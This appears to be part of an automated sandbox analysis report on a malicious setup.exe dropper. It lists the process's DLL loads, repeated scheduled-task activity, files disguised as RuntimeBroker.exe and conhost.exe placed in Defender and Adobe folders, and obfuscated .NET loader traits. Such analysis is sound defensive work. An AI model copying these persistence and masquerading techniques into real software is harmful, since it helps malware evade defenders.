Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll

Source: C:\Users\user\Desktop\setup.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\refBrokerDhcp\msbrowser.exe	Directory created: C:\Program Files\Windows Defender Advanced Threat Protection\en-GB\RuntimeBroker.exe	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Directory created: C:\Program Files\Windows Defender Advanced Threat Protection\en-GB\9e8d7a4ca61bd9	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Directory created: C:\Program Files\Adobe\conhost.exe	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Directory created: C:\Program Files\Adobe\088424020bedd6	Jump to behavior

Source: setup.exe

Static file information: File size 1165431 > 1048576

Source: setup.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: setup.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: setup.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: setup.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: setup.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: setup.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: setup.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: setup.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:

Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: setup.exe

Source: setup.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: setup.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: setup.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: setup.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: setup.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: 0.3.setup.exe.579e52d.1.raw.unpack, qKwCUKYykFaJEfgPiqH.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, qKwCUKYykFaJEfgPiqH.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})

.NET source code contains potential unpacker

Source: 0.3.setup.exe.579e52d.1.raw.unpack, h8LrZpH1ycWYfObeUph.cs	.Net Code: OVbfWsgLVt System.AppDomain.Load(byte[])
Source: 0.3.setup.exe.579e52d.1.raw.unpack, h8LrZpH1ycWYfObeUph.cs	.Net Code: OVbfWsgLVt System.Reflection.Assembly.Load(byte[])
Source: 0.3.setup.exe.579e52d.1.raw.unpack, h8LrZpH1ycWYfObeUph.cs	.Net Code: OVbfWsgLVt
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, h8LrZpH1ycWYfObeUph.cs	.Net Code: OVbfWsgLVt System.AppDomain.Load(byte[])
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, h8LrZpH1ycWYfObeUph.cs	.Net Code: OVbfWsgLVt System.Reflection.Assembly.Load(byte[])
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, h8LrZpH1ycWYfObeUph.cs	.Net Code: OVbfWsgLVt

Source: C:\Users\user\Desktop\setup.exe

File created: C:\refBrokerDhcp\__tmp_rar_sfx_access_check_5826703

Jump to behavior

Source: setup.exe

Static PE information: section name: .didat

Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_004AE28C push eax; ret	0_2_004AE2AA
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_004AED46 push ecx; ret	0_2_004AED59
Source: C:\refBrokerDhcp\msbrowser.exe	Code function: 4_2_00007FFD9BAA8496 pushad ; retf	4_2_00007FFD9BAA8497
Source: C:\refBrokerDhcp\msbrowser.exe	Code function: 4_2_00007FFD9BAA2C90 pushad ; retf	4_2_00007FFD9BAA2CD1
Source: C:\refBrokerDhcp\msbrowser.exe	Code function: 4_2_00007FFD9BAA2C68 pushad ; retf	4_2_00007FFD9BAA2CD1
Source: C:\refBrokerDhcp\msbrowser.exe	Code function: 17_2_00007FFD9BAB8496 pushad ; retf	17_2_00007FFD9BAB8497
Source: C:\refBrokerDhcp\msbrowser.exe	Code function: 17_2_00007FFD9BAB2C68 pushad ; retf	17_2_00007FFD9BAB2CD1
Source: C:\refBrokerDhcp\msbrowser.exe	Code function: 17_2_00007FFD9BAB2CC8 pushad ; retf	17_2_00007FFD9BAB2CD1
Source: C:\refBrokerDhcp\msbrowser.exe	Code function: 17_2_00007FFD9BAB2CB8 pushad ; retf	17_2_00007FFD9BAB2CD1
Source: C:\refBrokerDhcp\msbrowser.exe	Code function: 17_2_00007FFD9BAB2CA8 pushad ; retf	17_2_00007FFD9BAB2CD1

Source: 0.3.setup.exe.579e52d.1.raw.unpack, ieg7YOuZA3JtmsREdZ.cs	High entropy of concatenated method names: '_52U', 'YZ8', 'M5A', 'G9C', 'wtRFElYDDGOL393bBG6', 'CHU0KLYOM31MXXSYPRN', 'TSuCfWYKu2v08jB0L5M', 'PMkQy9YHAnyok6UZPZJ', 'fjMUKXYu7SVexgDh8U8', 'SUmDUMYmEimrkeHZerD'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, LwiLcdhurqJLeBuiFx4.cs	High entropy of concatenated method names: 'ICU', 'j9U', 'IBK', '_6qM', 'Amn', 'Mc2', 'og6', 'z6i', '_5G6', 'r11'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, qGm6YL2afma0Rl1rhrd.cs	High entropy of concatenated method names: 'GvP', 'YZ8', 'bp6', 'G9C', 'GO8gE6i4B9vT26mdvnw', 'U3GgsZiewv0Mi9JIFAh', 'SgFQDcift6kXK4hwMlV', 'M28LGaiRCWNRoESvJKa', 'CADuduiBR5M8oLH0M4w', 'qIfBSGi0yMxAdrHK0Pf'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, GSMEgve2g2g3qugYXG.cs	High entropy of concatenated method names: 'pHw', 'YZ8', 'v2R', 'G9C', 'z8lxANYSbNMj7tPIwOi', 'xi0AJeY8nWrwyViGmOK', 'IvWG1VYIWl9f48HSGws', 'GfUpRiYdwnvJL1MOcs0', 'hlah15YAWPx6XXbeGha', 'ykCUfoYyePHd0UU2Rn9'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, caWbon359M7hqIhAuE.cs	High entropy of concatenated method names: 'Y9FDc6GEI', 'JKSUAJBDi', 'SBqAG65aB', 'avQnIkofjkZAhwSkvWC', 'zTdwUco4gNQGt0TbS8n', 'DkfTwboeU2YqJGRUHrW', 'lxWQfioRFE13UKVKF4c', 'AAjutkoBJI8lybxlO3u', 'XcSrDxo09miO9YOBWpl', 'gyi32OoF3lX0aSX3VvV'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, zUgp44m51AF33ZvmWnB.cs	High entropy of concatenated method names: 'q4Y', '_71O', '_6H6', 'fXSt9yuAvc', '_13H', 'I64', '_67a', '_71t', 'fEj', '_9OJ'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, YnB1lvHHAYjoWaBKnr2.cs	High entropy of concatenated method names: 'JhQHoVwJM3', 'IRpHpr4X5J', 'atpHSvY5at', 'dqsH4TtYvj', 'DlCHKKoL8U', 'kcqHe6ILUx', 'p2T7Chvjius467L7Q0c', 'MyJ2cTvbewZ9aTjlLRc', 'YtOG49vJD9djUBNQky3', 'XtnWn4vPTHwirSUkcha'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, CcvMhOmKNuXc8QFYoh3.cs	High entropy of concatenated method names: '_14Y', 'b41', 'D7Y', 'xMq', 'i39', '_77u', '_4PG', '_5u8', 'h12', '_2KT'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, Lvm5Ah2CSumCuLfmEux.cs	High entropy of concatenated method names: 'Mn1HbQvI2Z', 'vELHZM5BuS', 'X213rEMq462sS6U4KJA', 'OKuTjvM247kCXskHbvG', 'uixoNaMMYZCKHT7bbH9', 'D7rB0uMv5CDWhJ3wppW', 'W3cbdmMVrKxb7jsJKAW', 'h8rUl2Mh6Galkk7cJ1U', 'l2xPWQMrtaM2vNfjJEg', 'npbfcDMJuRrRV5nyOeI'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, wmVavrHDYfyol3t1gY2.cs	High entropy of concatenated method names: 'A9mmRVavrY', 'egVRAIPuMQ7svCngeua', 'dCwsSIPm0iVq5qeOfMo', 'C1ugPgPKB4309XEXVva', 'dFyE1WPH0GxxxoPZQCs', 'sZKeLvPzdUywl1rxxFt', 'fJBuQMjnnXuQ0F1MtQY', 'Irkr3XjoWaA7jfwphMe', 'JXFaPoj3j2Z3SJ7cU6s', 'q0G4jEjCnoP8uPqcX14'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, FAr6XKhmD1oKLRXeCoD.cs	High entropy of concatenated method names: 'Yh6ZMGQliT', 'NMjoP3gbe32Qy6pQaxi', 'Oi9r8CgWmg1cmnVOMqS', 'pMYIYSgPAV3givmvEO0', 'u5sT5rgjs5adPqFhbiv', 'nx5JIinATY', 'VkpJdpdf60', 'D1bJGQ455e', 'Mk1JBvSRuj', 'Ja5JDD557p'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, nfrC0Hm1Y1rpRbCDoFB.cs	High entropy of concatenated method names: 'Fv9XqO004y', 'yojXE1oXLR', 'zO7pBS4Dcmi8DxMmkm1', 'afIgII4OBkvBmDH7pOF', 'jixXOc4KZ5FrEw6KqBL', 'xeo3FD4HK62JH6CEPHv', 'bjAf6F4uFWEqsBSoOwx', 'wAukJs4mGjwipH3tSa2', 't8c70t4zEmJJDfriiOd', 'QvlDjLen07B2nmEXPMC'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, wIb4eNhSRoe0WtB7ZJL.cs	High entropy of concatenated method names: 'P29', '_3xW', 'bOP', 'Th1', '_36d', 'g4vW85XLwv', 'p8dW6MNxcC', 'r8j', 'LS1', '_55S'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, g7SgTdfptXmNDIKdF00.cs	High entropy of concatenated method names: '_9YY', '_57I', 'w51', 'fmsNRI3oMq', '_168', 'FXvNxdEgf7Bofuc6U5I', 'iuHxK7EZiKJfcbwjw8f', 'R3oiZiExePA31ChbnKl', 'LSdiAKEStYgPeBGVpZp', 'J9vvCSE8exVTqvSJvsc'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, uWNwn8OxgKFfaWugQd9.cs	High entropy of concatenated method names: 'D4M', '_4DP', 'HU2', '_4Ke', '_5C9', '_7b1', 'lV5', 'H7p', 'V5L', '_736'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, WM6nFe7HZbt7Bu9EbB.cs	High entropy of concatenated method names: '_468', 'YZ8', '_2M1', 'G9C', 'KMKYiQGj4p7MijJtCch', 'axfbFnGbT7ZBBLZoEeE', 'UUqsf3GWb2vgJcowNTr', 'hJPIMrGUfakl3fUSniC', 'fEfQAuGtcCOjCjrFeol', 'ixWBFpGw84dBGOUQZh9'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, WS0uwGHPKSID9nGMW25.cs	High entropy of concatenated method names: 'kV4YtigPpn', 'SOjBLQbsirMddFZZyu8', 'CZCmI5b76QMCWuAD4Ae', 'sxYQM4bkxEtGGUj6MER', 'OpDsRvbTxkOsB8Y20tj', 'S3bM0cbLl5fZgb0EAVh', 'YdfYsWPKfJ', 'T6CYiLBFe4', 'WdQYq6MvRC', 'eaFYEVwqnQ'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, cL1FMphML8FH9gAReUe.cs	High entropy of concatenated method names: 'cigFhHiyna', 'yX5FmY6iPw', 'z6hFOcDcmn', 'H90nGWZPETZj1ahRNTJ', 'IDBwvmZjxCKir2HCBah', 'MQ0e4QZrdlxnkp3ZvcX', 'IlwN67ZJNP1K3t0uCb2', 'Sgv5j9ZbuGdgkabdVKg', 'XtkYs0ZWiOFZPhhcct6', 'LesspjZU9dn3FMgWnWC'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, rEAPHS2YkdxVgNl3Zd5.cs	High entropy of concatenated method names: '_6H9', 'YZ8', '_66N', 'G9C', 'CVSfjwaOy3l8v9iwZqV', 'XWlwdraKenLjXwyXK2t', 'qQaHEsaHdHEqfDOEcW1', 'Pv5KvWaucCx2sG9FYg0', 'nr4jGCamBkl9M2GakEj', 'LOnImBazWCeMoSYv4Be'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, YG7K1vhXN81FXR7raDR.cs	High entropy of concatenated method names: '_45b', 'ne2', '_115', '_3vY', 'LdDy0hiJMe', '_3il', 'd3xy2T8A32', 'QdLyHBlK9x', '_78N', 'z3K'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, a8FkoskR5YxqbYEcy0.cs	High entropy of concatenated method names: 'v91XiJJvg', 'JYMtbs7fE', 'dGq3W2y1J', 'c54xEGFHU', 'EfLgoLgIW', 'dC0at0ZPg', 'ppLRn9OsN', 'nA6ZfxocNobY7LQ8UnQ', 'aUtUGLoiOPcIN3SDRny', 'cgGFIwo2faKpJib6NbQ'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, FrlOxf2Q5Ee3B0PRl63.cs	High entropy of concatenated method names: 'lX2HiHiEAP', 'U3S1S9qaEXnyfqKngx8', 'xmnkDHql6Q7sRiBO95n', 'j6EXUxqGP4d8ndTBO9I', 'e4ZxjSqY3Zyn2uA770s', 'OndnDWqceyQWeYwucp7', '_5q7', 'YZ8', '_6kf', 'G9C'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, LdDhiJOBMef3xT8A32o.cs	High entropy of concatenated method names: 'cxlFAapGXwuTCm4RFI1', 'KPCqUhpYTPSTqqvxAy7', 'XqnFSTp3BOl0Sap62LV', 'WyT8LIpCf1yhJiYaVfm', 'r7NxDYBk52', 'WM4', '_499', 'srAxUei0uR', 'YCxxAuNCFt', 'SCKxNkCFUH'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, GZGTSohsogm9abRVqaT.cs	High entropy of concatenated method names: '_7zt', 'SY1Fip61Cx', 'It9FqU9ELb', 'lheFEPF4CI', 'SmnFc1gl0D', 'AY5Fky8d8d', 'FDTF9SCJ65', 'Ur6KhlZ9XTN9ZrqMZEN', 'GVl26fZEXgOvks7vAwV', 'tXHgGwZt4RYx6mmdV2h'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, f4XqlZ24RyPeC9SdI9L.cs	High entropy of concatenated method names: '_7v4', 'YZ8', '_888', 'G9C', 'oCgrNCMATqoTOn0Vy7u', 'vGwc0dMyNxAcaCRaY5H', 'hoWFnAM6KgyhqHPP6if', 'ywFLn3MQiGkoKMr6905', 'FDKRrwM4E3KiWjDAxAS', 'Uy28TMMeY3t1pVpb3UG'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, WSDInPmPoYYs0wEYW4l.cs	High entropy of concatenated method names: 'jEytgZtHuO', 'klBtaGyUH5', 'F8e', 'bLw', 'U96', '_71a', 'O52', 'XH4tRJOhZb', '_5f9', 'A6Y'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, Qn6bhMTLLQGkqLG8tC.cs	High entropy of concatenated method names: '_23T', 'YZ8', 'ELp', 'G9C', 'ReEr6uCK2bsSglLxfAh', 'zqIIytCHlEsSJ8wcTDx', 'o44IeyCuysmH2Xb4euq', 'AOE4ehCm9pwZcmqGbui', 'GROGQMCzeWH1cfmbtWU', 'O6VJJiGnBh2bvSktPKe'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, wTgbQN2eRZuIoICe6wv.cs	High entropy of concatenated method names: '_589', 'YZ8', '_491', 'G9C', 'RgTD5DMk9W1SUPQDmbU', 'kyCq6fMsLiGD2JU7tSV', 'H5bkGXMTlVhZBsJG2fT', 'Pih8KVMLN63F82IxIsi', 'IVkVUPMD8VjN9lpk7xe', 'QxBOLwMOIiEX1fJlAMv'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, ua9HTJ2w3JdMVWsmjJs.cs	High entropy of concatenated method names: 'kA3H2JtmsR', 'tdZHHfrKLf', 'fvRHfoufBp', 'X8NsfH2TKZqUq0yr7Tu', 'XWGnLk2LGGqoUdC09Rd', 'R8BKCY2k4lyD4s66jtK', 'kmwgyd2s4gTVHep8pj0', 'D16WJo2DgRF31RVbtE6', 'NNmdMW2O1GWUmGMMG62', 'Xxwgui2KLdcV0UfNYYa'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, BhX9Vk2FqcWQTVEtNC7.cs	High entropy of concatenated method names: 'd43', 'YZ8', 'g67', 'G9C', 'BZsBNdlxiydWkDMRcTh', 'LJwS3blSZ0GYksE8hMy', 'd1940cl8vnUVXrWuLff', 'nG0cHZlId5w5W0uhkLf', 'xMKf5IldFIrwqtg8Q66', 'kmdgpNlA3naij3JJ4Ah'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, OM62qD2PAfr4lBUuHch.cs	High entropy of concatenated method names: 'VV1HkxL8ed', 'dKLH9kNLwi', 'xJGHXlaGkZ', 'LWa1F7qM2r5ZQBK1yk4', 'b3UOIMqiZZNXRMLisU3', 'L7IT8Aq2OAsA9b3elw3', 'SMrUMgqqCXleKOdNDim', 'Iy99WqqvXyac4eEfBD1', 'wUGslHqV9EJqHvMBs7i', 'nwin6mqhpP2YAguZHrh'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, UdhKLk21NLwiXJGlaGk.cs	High entropy of concatenated method names: '_3fO', 'YZ8', '_48A', 'G9C', 'xojNsIllr4wD0jmucf1', 'JPrb77lcMv3kfA26m0M', 'JDFtSLliae2Um1LDgf8', 'wZyGXXl223ubhLqNfLV', 'WPdFCAlMtHf1kw5VdDA', 'kLIAwwlq4bQwDTNgSgd'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, KxTjwbhFjwfi4dU93UJ.cs	High entropy of concatenated method names: 'cIBZUPaf8D', 'WhmZAcl4QH', 'v5SZNDInPo', 'fYsZL0wEYW', 'SlmZTUb0Tk', 'z9gDfbgmLjvOfhgIpLN', 'nGUy9xgzoKfbk5D3iyZ', 'vhS3tHgHO7mCp30x8nx', 'gvPqdTguRrqL53udtpv', 'h5fgA9ZnR0SYVE94vKZ'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, NpGwSMmxegpU10PEBgm.cs	High entropy of concatenated method names: 'xugXLBaruZ', 'lO8XT0eBDn', 'a6UXwwSmnD', 'bfpXlw9BjO', 'i12XrcEbWO', 't4o6CHeSZVNlt8pa7Mu', 'm71m4heZ3pWsUqFsvo6', 'WAfTQhexl6oZhvUGb7d', 'PumjQ4e8tjoaIthm5fB', 'epDiKHeI7HZLKsRAPsi'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, hEgSX22tLI3XkLEMeQX.cs	High entropy of concatenated method names: 'p23', 'YZ8', 'Gog', 'G9C', 'gd5epbcNZM2TOcxqBfM', 'iv1j00c7QhNFjCGDlis', 'HqGKT6ckutvpLm1blsr', 'ao9enVcsbLM8wLMfTwt', 'Q8jV5ScTa95O93TY0qN', 'S8bCoPcLA3rml2ink4W'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, opk3dpfXGslcX3JTgyZ.cs	High entropy of concatenated method names: 'Wh41GVZlgM', 'vF61B9VkRA', 'TdHrKi9bS50UZQlXfDp', 'a0L62h9Wi4803sd0mD2', 'ut5nUR9PKNxjLmDjdVl', 'Xb9x7p9jjQAyufQoag2', 'j6x4yO9UsSk0v9LwlaI', 'tRUIFu9tuj0aB12lakq'
